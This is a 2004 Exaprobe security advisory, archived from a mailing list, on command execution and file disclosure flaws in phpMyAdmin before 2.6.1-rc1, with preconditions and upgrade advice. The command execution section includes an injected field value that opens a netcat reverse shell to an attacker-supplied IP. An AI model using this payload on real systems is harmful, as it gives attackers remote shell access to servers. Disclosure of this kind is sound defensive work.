From: Nicolas Gregoire (ngregoireexaprobe.com)
Date: Mon Dec 13 2004 - 07:02:09 CST

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

                                Exaprobe
                            www.exaprobe.com

                           Security Advisory

 Advisory Name: Multiple vulnerabilities in phpMyAdmin
  Release Date: 13 December 2004
   Application: phpMyAdmin prior to 2.6.1-rc1
      Platform: Any webserver running PHP
      Severity: Remote code execution
        Author: Nicolas Gregoire <ngregoireexaprobe.com>
 Vendor Status: Updated code is available
CVE Candidates: CAN-2004-1147 and CAN-2004-1148
     Reference: www.exaprobe.com/labs/advisories/esa-2004-1213.html

Overview :
==========

phpMyAdmin is a tool written in PHP intended to handle the
administration of MySQL over the Web. Currently it can create and
drop databases, create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields, manage privileges,
export data into various formats and is available in 47 languages.

Technical details :
===================

Command execution :

        - bug introduced in 2.6.0-pl2
        - attacker does *not* need access to the phpMyAdmin interface
        - PHP safe mode must be off
        - external transformations must be activated
        - sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A

File disclosure :

        - attacker need access to the phpMyAdmin interface
        - PHP safe mode must be off
        - $cfg['UploadDir'] must be defined
        - exploitation is done via 'sql_localfile'

Vendor Response :
=================

After notification by Exaprobe, maintainers of the phpMyAdmin
project have released version 2.6.1-rc1 which fixes these two
vulnerabilities.

Recommendation :
================

Upgrade to 2.6.1-rc1 or newer.
Desactivate uploads and transformations if possible.

CVE Information :
=================

The Common Vulnerabilities and Exposures (CVE) project has assigned
the following names to these issues. These are candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.

  CAN-2004-1147 Command execution in phpMyAdmin
  CAN-2004-1148 File disclosure in phpMyAdmin

--
Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
ngregoireexaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/
PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B44F

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]